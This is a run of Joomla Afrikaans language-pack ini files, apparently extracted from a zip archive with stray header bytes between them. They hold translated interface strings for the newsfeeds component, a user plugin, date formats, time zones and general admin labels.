COM_NEWSFEEDS_EDIT_NEWSFEED="Redigeer Nuus Afvoer" COM_NEWSFEEDS_NEW_NEWSFEED="Nuut" COM_NEWSFEEDS_SELECT_A_FEED="Kies afvoer" COM_NEWSFEEDS_SELECT_FEED="Kies afvoer" COM_NEWSFEEDS_MANAGER_NEWSFEED="Nuus Afvoer Bestuurder: Nuus Afvoer" COM_NEWSFEEDS_N_ITEMS_ARCHIVED_1="Nuus afvoer suksesvol argiveer" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_0="Geen nuus afvoer suksesvol ingeteken nie" COM_NEWSFEEDS_N_ITEMS_CHECKED_IN_1="Nuus afvoer suksesvol ingeteken" COM_NEWSFEEDS_N_ITEMS_PUBLISHED="%d nuus afvoere suksesvol gepubliseer" COM_NEWSFEEDS_N_ITEMS_UNPUBLISHED="%d Nuus afvoere suksesvol ontpubliseer" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC="Vertoon of Versteek afvoer beskrywing" COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL="Afvoer Beskrywing" COM_NEWSFEEDS_FIELD_VALUE_LTR="Links na Regs Rigting" COM_NEWSFEEDS_FIELD_VALUE_RTL="Regs na Links Rigting" COM_NEWSFEEDS_FILTER_SEARCH_DESC="Tik hier 'n news afvoer titel in om to soek." COM_NEWSFEEDS_FEED_CATEGORY_OPTIONS_LABEL="Afvoer kategorie vertoon opsies" COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC="Vertoon of Versteek afvoerskakels URL" COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC="Vertoon of Versteek Afvoer Inhoud" COM_NEWSFEEDS_FIELD_SELECT_CATEGORY_DESC="Kies 'n afvoerkategorie om te vertoon" COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_LABEL="# Afvoere om te Lys" COM_NEWSFEEDS_FIELD_CATEGORY_DESC="Die kategorie wat hierdie afvoer aan toegewys is" COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS="'n Ander Nuusafvoer van hierdie kategorie het dieselfde alias" COM_NEWSFEEDS_FIELD_CACHETIME_DESC="Die aantal minute voordat die nuusafvoer-kas vervars word." COM_NEWSFEEDS_FIELD_LANGUAGE_DESC="Wys toe 'n taal aan hierdie nuusafvoer toe" COM_NEWSFEEDS_FIELD_NUMBER_ITEMS_LIST_DESC="Verstek aantal afvoere om op 'n bladsy te lys." COM_NEWSFEEDS_FIELD_SELECT_FEED_DESC="Kies 'n afvoer om te vertoon" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC="Vertoon of Versteek die aantal Nuusafvoere in kategorie" COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL="# Afvoere in Kategorie" COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC="Aantal karakters om per afvoer te vertoon." COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_DESC="Aantal karakters om in die afvoer in te sluit." COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC="Aantal artikels van die afvoer om te vertoon" COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC="Vertoon of Versteek die Aantal Artikels in elke Afvoer (Jy kan set hierdie waarde in elke Nuusafvoer stel)" COM_NEWSFEEDS_N_ITEMS_TRASHED="%d nuusafvoere suksesvol purgeer" COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC="Indien Vertoon, sal leë kategorië vertoon word. 'n Kategorie is slegs leeg as dit geen Nuusafvoere of subkategorië het nie." COM_NEWSFEEDS_FIELD_MODIFIED_DESC="Die datum en tyd toe die nuusafvoer laas gewysig is" COM_NEWSFEEDS_CATEGORIES_DESC="Hierdie instellings is van toepassing op die Nuusafvoer-kategorie Opsies, behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_NEWSFEEDS_FIELD_CONFIG_CATEGORY_SETTINGS_DESC="Hierdie instellings is van toepassing op die Nuusafvoer-kategorie Opsies, behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_NEWSFEEDS_FIELD_CONFIG_LIST_SETTINGS_DESC="Hierdie instellings is van toepassing op die Lys Uitleg Opsies, behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_NEWSFEEDS_FIELD_CONFIG_NEWSFEED_SETTINGS_DESC="Hierdie instellings is van toepassing op enkele nuus afvoere, behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_NEWSFEEDS_XML_DESCRIPTION="Hierdie komponent bestuur RSS en Atom nuwes afvoere." COM_NEWSFEEDS_FIELD_CATEGORIES_OPTIONS_LABEL="Afvoer-kategorië vertoon opsies" JGLOBAL_NEWITEMSLAST_DESC="Nuwe nuus-afvoere verstek na die laaste posisie. Die volgorde kan gewysig word nadat hierdie nuus-afvoer gestoor is." JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL="Afvoer vertoon-orde" COM_NEWSFEEDS_BATCH_MENU_LABEL="Kies Kategorie om te Verskuif/Kopieer" COM_NEWSFEEDS_BATCH_OPTIONS="Bondelverwerk die gekose nuusafvoere" COM_NEWSFEEDS_BATCH_TIP="Indien jy 'n nuusafvoer wil kopieer, sal enige ander gekose aksies ook op die gekopieerde nuusafvoer toegepas word." COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC="Die volgorde waarin die afvoere vertoon sal word" PK@y>\ڼ_44,language/af-ZA/af-ZA.plg_user_joomla.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_user_joomla.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_USER_JOOMLA="Gebruiker - Joomla!" PLG_USER_JOOMLA_XML_DESCRIPTION="Hanteer Joomla! se verstek Gebruiker sinchronisasie" PK@y>\language/af-ZA/af-ZA.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal" ; $Id: af-ZA.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $" ; Joomla! Projek" ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved." ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php" ; Let op : Alle ini lêërs moet as UTF-8 gestoor word" ; Date format" DATE_FORMAT_LC="l, d F Y" DATE_FORMAT_LC1="l, d F Y" DATE_FORMAT_LC2="l, d F Y H:i" DATE_FORMAT_LC3="d F Y" DATE_FORMAT_LC4="Y-m-d" DATE_FORMAT_JS1="y-m-d" ; Months JANUARY_SHORT="Jan" JANUARY="Januarie" FEBRUARY_SHORT="Feb" FEBRUARY="Februarie" MARCH_SHORT="Mar" MARCH="Maart" APRIL_SHORT="Apr" APRIL="April" MAY_SHORT="Mei" MAY="Mei" JUNE_SHORT="Jun" JUNE="Junie" JULY_SHORT="Jul" JULY="Julie" AUGUST_SHORT="Aug" AUGUST="Augustus" SEPTEMBER_SHORT="Sep" SEPTEMBER="September" OCTOBER_SHORT="Okt" OCTOBER="Oktober" NOVEMBER_SHORT="Nov" NOVEMBER="November" DECEMBER_SHORT="Des" DECEMBER="Desember" ;Days of the Week" SAT="Sa" SATURDAY="Saterdag" SUN="So" SUNDAY="Sondag" MONDAY="Maandag" TUE="Di" TUESDAY="Dinsdag" WED="Wo" WEDNESDAY="Woensdag" THU="Do" THURSDAY="Donnerdag" FRI="Vr" FRIDAY="Vrydag" MON="Ma" ;Other Calendar" ; Time Zones" UTC__01_00__AMSTERDAM__BERLIN__BRUSSELS__COPENHAGEN__MADRID__PARIS="(UTC +01:00) Amsterdam, Berlein, Brussel, Kopenhage, Madrid, Parys" UTC__01_00__AZORES__CAPE_VERDE_ISLANDS="(UTC -01:00) Azores, Cape Verde Eilande" UTC__02_00__ISTANBUL__JERUSALEM__KALININGRAD__SOUTH_AFRICA="(UTC +02:00) Istanboel, Jerusalem, Kaliningrad, Suid-Afrika" UTC__02_00__MID_ATLANTIC="(UTC -02:00) Mid-Atlantic" UTC__03_00__BAGHDAD__RIYADH__MOSCOW__ST__PETERSBURG="(UTC +03:00) Baghdad, Riyadh, Moscow, St. Petersburg" UTC__03_30__TEHRAN="(UTC +03:30) Tehran" UTC__04_00__ABU_DHABI__MUSCAT__BAKU__TBILISI="(UTC +04:00) Abu Dhabi, Muscat, Baku, Tbilisi" UTC__04_30__KABUL="(UTC +04:30) Kabul" UTC__04_30__VENEZUELA="(UTC -04:30) Venezuela" UTC__05_00__EKATERINBURG__ISLAMABAD__KARACHI__TASHKENT="(UTC +05:00) Katerienburg, Islamabad, Karachi, Tashkent" UTC__05_30__BOMBAY__CALCUTTA__MADRAS__NEW_DELHI__COLOMBO="(UTC +05:30) Bombaai, Kalkutta, Madras, New Delhi, Colombo" UTC__05_45__KATHMANDU="(UTC +05:45) Katmandoe" UTC__06_00__ALMATY__DHAKA="(UTC +06:00) Almaty, Dhaka" UTC__07_00__BANGKOK__HANOI__JAKARTA__PHNOM_PENH="(UTC +07:00) Bangkok, Hanoi, Jakarta, Phnom Penh" UTC__08_00__BEIJING__PERTH__SINGAPORE__HONG_KONG="(UTC +08:00) Beijing, Perth, Singapore, Hong Kong" UTC__08_00__WESTERN_AUSTRALIA="(UTC +08:00) Wes-Australië" UTC__09_00__ALASKA="(UTC -09:00) Alaska" UTC__09_30__ADELAIDE__DARWIN__YAKUTSK="(UTC +09:30) Adelaide, Darwin, Yakutsk" UTC__09_30__TAIOHAE__MARQUESAS_ISLANDS="(UTC -09:30) Taiohae, Marquesas Eilande" UTC__10_00__HAWAII="(UTC -10:00) Hawaii" UTC__10_30__LORD_HOWE_ISLAND__AUSTRALIA_="(UTC +10:30) Lord Howe Eiland (Australië)" UTC__11_00__MAGADAN__SOLOMON_ISLANDS__NEW_CALEDONIA="(UTC +11:00) Magadan, Solomon Eilande, New Caledonia" UTC__11_00__MIDWAY_ISLAND__SAMOA="(UTC -11:00) Midway Eiland, Samoa" UTC__11_30__NORFOLK_ISLAND="(UTC +11:30) Norfolk Eiland" UTC__12_00__INTERNATIONAL_DATE_LINE_WEST="(UTC -12:00) Internationale Datum Lyn Wes" UTC__12_45__CHATHAM_ISLAND="(UTC +12:45) Chatham Eiland" UTC__14_00__KIRIBATI="(UTC +14:00) Kiribati" UTC_00_00__WESTERN_EUROPE_TIME__LONDON__LISBON__CASABLANCA="(UTC 00:00) Wes-Europese Tyd, London, Lisbon, Casablanca" UTC__03_00__BRAZIL__BUENOS_AIRES__GEORGETOWN="(UTC -03:00) Brazil, Buenos Aires, Georgetown" UTC__03_30__ST__JOHN_S__NEWFOUNDLAND__LABRADOR="(UTC -03:30) St. John's, Nuwefoundland en Labrador" UTC__04_00__ATLANTIC_TIME__CANADA___CARACAS__LA_PAZ="(UTC -04:00) Atlantiese Tyd (Canada), Caracas, La Paz" UTC__05_00__EASTERN_TIME__US__AMP__CANADA___BOGOTA__LIMA="(UTC -05:00) Oosterese Tyd (VSA & Canada), Bogota, Lima" UTC__06_00__CENTRAL_TIME__US__AMP__CANADA___MEXICO_CITY="(UTC -06:00) Sentrale Tyd (VSA & Canada), Mexico City" UTC__06_30__YAGOON="(UTC +06:30) Yagoon" UTC__07_00__MOUNTAIN_TIME__US__AMP__CANADA_="(UTC -07:00) Mountain Tyd (VSA & Canada)" UTC__08_00__PACIFIC_TIME__US__AMP__CANADA_="(UTC -08:00) Pacific Tyd (VSA & Canada)" UTC__09_00__TOKYO__SEOUL__OSAKA__SAPPORO__YAKUTSK="(UTC +09:00) Tokyo, Seoul, Osaka, Sapporo, Yakutsk" UTC__10_00__EASTERN_AUSTRALIA__GUAM__VLADIVOSTOK="(UTC +10:00) Oos-Australië, Guam, Vladivostok" UTC__12_00__AUCKLAND__WELLINGTON__FIJI__KAMCHATKA="(UTC +12:00) Auckland, Wellington, Fiji, Kamchatka" UTC__13_00__TONGA="(UTC +13:00) Tonga" ; Mailer Codes" PHPMAILER_EXECUTE="Kon nie uitvoer nie:" PHPMAILER_INSTANTIATE="Kon nie die e-pos funksie uitvoer nie" PHPMAILER_AUTHENTICATE="SMTP Fout! Kon nie gebruiker of wagwoord staaf nie." PHPMAILER_DATA_NOT_ACCEPTED="SMTP Fout! Data nie aanvaar nie." PHPMAILER_CONNECT_HOST="SMTP Fout! Kon nie met die SMTP bediener verbind nie." PHPMAILER_FILE_OPEN="Lêer Fout: Kon nie lêer oopmaak nie:" PHPMAILER_ENCODING="Onbekende enkodering:" MESSAGE="Boodskap" NOTICE="Let op" WARNING="Waarskuwing" JHELP_GLOSSARY="Woordelys" JGLOBAL_GT=">" JGLOBAL_LIST="Lys" JGLOBAL_LIST_NOTE="(Nota: %s)" JGLOBAL_LT="<" JGLOBAL_NUM_LINKS_LABEL="# Skakels" JFIELD_LANGUAGE_LABEL="Taal" JFIELD_META_DESCRIPTION_LABEL="Meta Beskrywing" JFIELD_META_RIGHTS_LABEL="Inhoud Regte" JFIELD_METADATA_RIGHTS_DESC="Publikasie regte van die inhoud" JFIELD_METADATA_RIGHTS_LABEL="Regte" JFIELD_LOGIN_IMAGE_LABEL="Inteken Beeld" JFIELD_LOGIN_IMAGE_DESC="Beeld om te vertoon op inteken bladsy" JFIELD_META_KEYWORDS_LABEL="Meta Sleutelwoorde" JFIELD_NOTE_DESC="Nota" JFIELD_NOTE_LABEL="Nota" JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL="Afteken Teks" JACTION_LOGIN_ADMIN="Admin Inteken" J1="1" J2="2" J3="3" J4="4" J5="5" J6="6" J7="7" J8="8" J9="9" J10="10" J15="15" J20="20" J25="25" J30="30" J50="50" JH1="h1" JH2="h2" JH3="h3" JH4="h4" JH5="h5" JH6="h6" J100="100" JALL="Almal" JTRUE="Waar" JOPTION_ANY="Enige" JCLIENT="Plek" JTRASHED="Geskrap" JGLOBAL_AUTO="Outomaties" JGLOBAL_BLOG="Blog" JGLOBAL_DOWN="Af" JGLOBAL_ROOT="Wortel" JARCHIVED="Argiveer" JCANCEL="Kanselleer" JFEATURED="Hooftreek" JTOOLBAR_BACK="Terug" JCATEGORY="Kategorie" JGLOBAL_TITLE="Titel" JGLOBAL_WIDTH="Breedte" JGLOBAL_ACROSS="Dwars" JGLOBAL_SINGLE_LEVEL="Enkel Vlak" JTOOLBAR_TRASH="Vuilis" JUNDEFINED="Ongedefineer" JTOOLBAR_ASSIGN="Toewys" JGRID_HEADING_ACCESS="Toegang" JHELP_START_HERE="Begin Hier" JCATEGORIES="Kategorië" JGLOBAL_FULL_TEXT="Volle Teks" JTOOLBAR_CHECKIN="Teken In" JACTION_CREATE="Skep" JBROWSERTARGET_MODAL="Modaal" JFIELD_ACCESS_LABEL="Toegang" JFIELD_PARAMS_LABEL="Opsies" JGRID_HEADING_ROW_NUMBER="#" JSEARCH_FILTER_CLEAR="Herstel" JTOOLBAR_CANCEL="Kanselleer" JOPTION_UNASSIGNED="Unassigned" JSEARCH_FILTER_SUBMIT="Soektog" JTOOLBAR_EDIT_CSS="Redigeer CSS" JFIELD_ORDERING_LABEL="Sorteering" JACTION_ADMIN_GLOBAL="Super Admin" JTOOLBAR_EDIT_HTML="Redigeer HTML" JACTION_EDITSTATE="Redigeer Staat" JACTION_ADMIN="Konfigureer" JOPTION_FROM_TEMPLATE="---Van %s Templet---" JOPTION_SELECT_CATEGORY="- Kies Kategorie -" JGLOBAL_AUTHOR_ALPHABETICAL="Outeur Alfabeties" JGLOBAL_CHOOSE_CATEGORY_LABEL="Kies 'n kategorie" JGLOBAL_FIELD_PUBLISH_UP_LABEL="Begin Publiseer" JGLOBAL_LIST_AUTHOR_LABEL="Vertoon Outeur in Lys" JGLOBAL_LIST_HITS_LABEL="Vertoon Trefslae in Lys" JGLOBAL_SHOW_NAVIGATION_LABEL="Vertoon Navigasie" JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Kategorie Beeld" JGLOBAL_SHOW_EMAIL_ICON_LABEL="Vertoon e-pos Ikoon" JGLOBAL_NUM_INTRO_ARTICLES_LABEL="# Intro Artikels" JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Vertoon Ouer" JGLOBAL_SHOW_PRINT_ICON_LABEL="Vertoon Print Ikoon" JGLOBAL_SHOW_MODIFY_DATE_LABEL="Vertoon Wysigingsdatum" JERROR_AN_ERROR_HAS_OCCURRED="Daar was 'n fout." JTOOLBAR_UPLOAD="Oplaai" JFIELD_TITLE_DESC="Titel" JGLOBAL_INHERIT="Erf" JGLOBAL_PREVIEW="Voorskou" JFIELD_ALIAS_LABEL="Alias" JSEARCH_TITLE="Soektog %s" JTOOLBAR_ARCHIVE="Argief" JTOOLBAR_INSTALL="Installeer" JTOOLBAR_REBUILD="Herbou" JACTION_EDITOWN="Redigeer Eie" JGLOBAL_CREATED="Geskep" JRECORD_NUMBER="Rekord Nommer" JSEARCH_FILTER_LABEL="Filter:" JACTION_MANAGE="Toegang Komponent" JGLOBAL_BATCH_PROCESS="Proses" JGLOBAL_REMEMBER_ME="Onthou My" JGLOBAL_RECORD_NUMBER="Rekord ID: %d" JGLOBAL_ROOT_PARENT="- Geen Ouer nie -" JFIELD_READMORE_LABEL="Lees Meer Teks" JOPTION_SELECT_ACCESS="- Kies Toegang -" JGLOBAL_DATE_FORMAT_LABEL="Datum Formaat" JGLOBAL_SHOW_ICONS_LABEL="Vertoon Ikone" JGLOBAL_SHOW_TITLE_LABEL="Vertoon Titel" JOPTION_SELECT_AUTHORS="- Kies Outeurs -" JGLOBAL_AUTH_ACCESS_DENIED="Toegang Verbode" JGLOBAL_LIST_TITLE_LABEL="Kategorie Titel" JGLOBAL_SHOW_AUTHOR_LABEL="Vertoon Outeur" JGLOBAL_SHOW_HITS_LABEL="Vertoon Trefslae" JGLOBAL_ORDERING_DATE_LABEL="Orden volgens Datum" JGLOBAL_SHOW_FEED_LINK_LABEL="Vertoon Afvoer Skakel" JOPTION_ALL_CATEGORIES="- Alle Kategorië -" JOPTION_FROM_STANDARD="---Van Globale Opsies---" JGLOBAL_CATEGORY_NOT_FOUND="Kategorie nie gevind nie" JGLOBAL_FIELD_CREATED_BY_LABEL="Geskep deur" JGLOBAL_FIELD_CREATED_LABEL="Skeppings-Datum" JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Skakel met Ouer" JGLOBAL_ARTICLES="Artikels" JGLOBAL_FIELD_ID_LABEL="ID" JFIELD_SPACER_LABEL="
              " JGLOBAL_MODIFIED="Gewysig" JOPTION_OPTIONAL="Optioneel" JOPTION_REQUIRED="Vereis" JTOOLBAR_DUPLICATE="Dupliseer" JTOOLBAR_EMPTY_TRASH="Maak vuilis leeg" JTOOLBAR_PURGE_CACHE="Purgeer Kas" JGLOBAL_NUM_COLUMNS_LABEL="# Kolomme" JGLOBAL_USE_GLOBAL="Gebruik Globale" JOPTION_ANY_CATEGORY="Enige Kategorie" JOPTION_NO_USER="- Geen Gebruiker -" JHELP_USERS_GROUPS="Gebruikers_Groepe" JOPTION_DO_NOT_USE="- Geen Gekies nie -" JGLOBAL_FILTER_TYPE_LABEL="Filter Tipe" JGLOBAL_INTEGRATION_LABEL="Integrasie" JGLOBAL_LINK_AUTHOR_LABEL="Skakel Outeur" JGLOBAL_SHOW_DATE_LABEL="Vertoon Datum" JCONFIG_PERMISSIONS_LABEL="Toestemmings" JGLOBAL_SHOW_VOTE_LABEL="Vertoon Peiling" JGLOBAL_AUTH_FAIL="Bekragtiging het gefaal" JGLOBAL_FILTER_CLIENT="- Kies Plek -" JFIELD_ORDERING_DESC="Kies die rangskikking" JFIELD_LOGOUT_IMAGE_LABEL="Afteken beeld" JGLOBAL_ALL_ARTICLE="Max. # vlakke van Artikels" JGLOBAL_FILTER_FIELD_LABEL="Filter Veld" JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Sorteering" JGLOBAL_FIELD_LAYOUT_LABEL="Kies 'n uitleg" JGLOBAL_FILTER_GROUPS_LABEL="Filter Groepe" JTOOLBAR_UNARCHIVE="Ontargiveer" JTOOLBAR_UNINSTALL="Ontinstalleer" JGLOBAL_MULTI_LEVEL="Multi-Vlak" JGLOBAL_SUBMENU_CHECKIN="Inteken" JOPTION_SELECT_MENU="- Kies Menu -" JBROWSERTARGET_POPUP="Open in opspringvenster" JGLOBAL_ALL_LIST="Max. vlakke as Lys" JGLOBAL_INDEX_FOLLOW="Indeks, Volg" JTOOLBAR_REFRESH_CACHE="Vervars Kas" JFIELD_METADATA_ROBOTS_LABEL="Robotte" JGLOBAL_CATEGORY_LAYOUT_DESC="Uitleg" JGLOBAL_PAGINATION_LABEL="Pagineering" JGRID_HEADING_CREATED_BY="Geskep deur" JOPTION_SELECT_TEMPLATE="- Kies Templet -" JGLOBAL_ARTICLE_COUNT_LABEL="Aantal Artikels" JGLOBAL_AUTH_ACCESS_GRANTED="Toegang Toegestaan" JFIELD_PUBLISHED_DESC="Stel publikasie status." JGLOBAL_AUTH_CANCEL="Bekragtiging gekanselleer" JGLOBAL_AUTH_INVALID_PASS="Ongeldige wagwoord" JGLOBAL_CATEGORY_LAYOUT_LABEL="Kies 'n uitleg" JGLOBAL_CATEGORY_ORDER_LABEL="Kategorie Rangskikking" JTOOLBAR_REBUILD_SUCCESS="Suksesvol herbou" JGLOBAL_FIELD_CREATED_DESC="Skeppings-Datum" JGLOBAL_SHOW_CATEGORY_LABEL="Vertoon Kategorie" JGLOBAL_TITLE_ALPHABETICAL="Titel Alfabeties" JERROR_NO_ITEMS_SELECTED="Geen item(s) gekies nie." JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Lees-Verder Limiet" JOPTION_ACCESS_SHOW_ALL_ACCESS="Vertoon Alle Toegange" JOPTION_ACCESS_SHOW_ALL_GROUPS="Vertoon Alle Groepe" JOPTION_SELECT_AUTHOR_ALIAS="- Kies Outeur Alias -" JERROR_INVALID_CONTROLLER_CLASS="Ongeldige kontrolleerder klass" JFIELD_LANGUAGE_DESC="Wys 'n taal aan hierdie artikel toe." JGLOBAL_ARTICLE_MUST_HAVE_TEXT="Artikel moet teks bevat" JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Vertoon Artikel Aantal" JGLOBAL_SUBMENU_CLEAR_CACHE="Purgeer Kas" JGLOBAL_LINKED_TITLES_LABEL="Geskakelde Titles" JGLOBAL_FILTER_TAGS_LABEL="Filter Merke" JUNARCHIVE="Verwyder van argief status" JGLOBAL_LINK_CATEGORY_LABEL="Skakel Kategorie" JGLOBAL_SHOW_HEADINGS_LABEL="Tabel Opskrifte" JGLOBAL_SUBHEADING_LABEL="Bladsy Sub-Opskrif" JGLOBAL_SELECTION_INVERT="Skakel Keuse" JGLOBAL_ARTICLE_ORDER_LABEL="Artikel Rangskikking" JBROWSERTARGET_PARENT="Open in Ouer-venster" JGLOBAL_MAXLEVEL_LABEL="Sub-kategorie Vlakke" JFIELD_LOGOUT_REDIRECT_URL_LABEL="Afteken Herlei" JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Soek Argiewe" JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Soektog Limiet" JGLOBAL_AUTH_NO_BIND="Kon nie met LDAP bind nie" JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Voltooi Publiseering" JGLOBAL_MULTI_COLUMN_ORDER_LABEL="Multi Kolom Rangskikking" JGLOBAL_SHOW_READMORE_LABEL="Vertoon "Lees Verder"" JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE="Purgeer Verstreke Kas" JHELP_COMPONENTS_BANNERS_BANNERS="Komponente_Banier_Banier" JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="Die MySQL adapter 'mysqli' is nie beskikbaar nie." JFIELD_LOGIN_REDIRECT_URL_LABEL="Inteken Herlei" JFIELD_METADATA_XREFERENCE_LABEL="Kruis-Verwysing" JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL="Inteken Beskrywing Teks" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL="Inteken Beskrywing" JGLOBAL_AUTH_PASS_BLANK="LDAP kan nie 'n blanko wagwoord hê nie" JGLOBAL_ARTICLE_ORDER_LABEL="Artikel Rangskikking" JGLOBAL_INDEX_NOFOLLOW="Index, Geen volg" JGLOBAL_MAXLEVEL_LABEL="Sub-kategorie Vlakke" JGLOBAL_NOINDEX_FOLLOW="Geen index, volg" JGLOBAL_SELECTION_INVERT="Skakel Keuse" JGLOBAL_LINK_CATEGORY_LABEL="Skakel Kategorie" JGLOBAL_SHOW_HEADINGS_LABEL="Tabel Hoofde" JGLOBAL_SUBHEADING_LABEL="Bladsy Sub-Hoofde" JFIELD_PLG_SEARCH_ALL_LABEL="Soektog Gepubliseer" JGLOBAL_ACTION_PERMISSIONS_LABEL="Toestemmings" JGLOBAL_AUTH_NO_USER="Gebruiker bestaan nie" JFIELD_LOGOUT_REDIRECT_URL_LABEL="Afteken Herlei" JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Soektog geargieveer" JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Soektog Limit" JGLOBAL_AUTH_NO_BIND="Kon nie met LDAP bind nie" JGLOBAL_FEED_SUMMARY_LABEL="Vir elke afvoer item vertoon" JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Voltooi Publiseering" JGLOBAL_MULTI_COLUMN_ORDER_LABEL="Multi Kolom Rangskikking" JHELP_USERS_ACCESS_LEVELS="Gebruiker Toegangs-Vlakke" JGLOBAL_PAGINATION_RESULTS_LABEL="Pagineering Resultate" JGLOBAL_EMPTY_CATEGORIES_LABEL="Leë Kategorië" JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Outeur se Alias" JGLOBAL_FIELD_ID_DESC="Rekord nommer in die databasis" JGLOBAL_NUMBER_ITEMS_LIST_LABEL="# Artikels om te Lys" JGLOBAL_SHOW_READMORE_TITLE_LABEL="Vertoon Titel met Lees Verder" JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Titel in Agteruit-alfabetiese orde" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC="Teks vir uitteken bladsy" JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="Leë wagwoord nie toegelaat nie" JGLOBAL_AUTH_NO_CONNECT="Kon nie met die LDAP bediener verbind nie" JGLOBAL_AUTH_USER_BLACKLISTED="Gebruiker is ge-swartlys" JGLOBAL_AUTH_PASS_BLANK="LDAP kan nie 'n blanko wagwoord hê nie" JGLOBAL_LINK_CATEGORY_LABEL="Skakel Kategorie" JGLOBAL_SHOW_HEADINGS_LABEL="Tabel Hoofde" JGLOBAL_SUBHEADING_LABEL="Bladsy Sub-Hoofde" JBROWSERTARGET_PARENT="Open in Ouer-venster" JFIELD_ALT_LAYOUT_LABEL="Alternatiewe Uitleg" JGLOBAL_ALLOW_COMMENTS_LABEL="Laat Kommentaar toe" JGLOBAL_DISPLAY_SELECT_LABEL="Vertoon Kies opsie" JGLOBAL_FIELD_MODIFIED_BY_LABEL="Gewysig deur" JGLOBAL_FIELD_MODIFIED_LABEL="Wysigings Datum" JGLOBAL_LIST_ALIAS="(Alias: %s)" JGLOBAL_SHOW_CATEGORY_TITLE="Kategorie Titel" JGLOBAL_SHOW_INTRO_LABEL="Vertoon Intro Teks" JERROR_INVALID_CONTROLLER="Ongeldige MVC-controller" JFIELD_METADATA_ROBOTS_DESC="Robot Instruksies" JACTION_COMPONENT_SETTINGS="Komponent Instellings" JFIELD_LOGIN_REDIRECT_URL_LABEL="Inteken Herlei" JFIELD_METADATA_XREFERENCE_LABEL="Kruis-verwysing" JLIB_DATABASE_ERROR_ADAPTER_MYSQL="Die MySQL aanpasser ''mysql'' is nie beskikbaar nie." JERROR_CORE_DELETE_NOT_PERMITTED="Skrap nie toegelaat nie" JFIELD_ALT_PAGE_TITLE_LABEL="Alternatiewe Bladsy Titel" JFIELD_ENABLED_DESC="Die ontsper staat van hierdie item" JGLOBAL_SHOW_CREATE_DATE_LABEL="Vertoon Skeppings-Datum" JFIELD_METADATA_AUTHOR_DESC="Die outeur van hierdie inhoud" JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Leë Kategorië" JGLOBAL_SHOW_READMORE_LABEL="Vertoon "Lees Verder"" JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE="Purgeer Verstreikte Kas" JHELP_COMPONENTS_BANNERS_BANNERS="Komponente_Banier_Banier" JOPTION_ACCESS_SHOW_ALL_LEVELS="Vertoon Alle Toegangsvlakke" JLIB_ERROR_INFINITE_LOOP="Oneindige programmeer-lus in JError" JGLOBAL_SHOW_PRINT_ICON_DESC="Vertoon/Versteek die Item Afdruk knoppie." 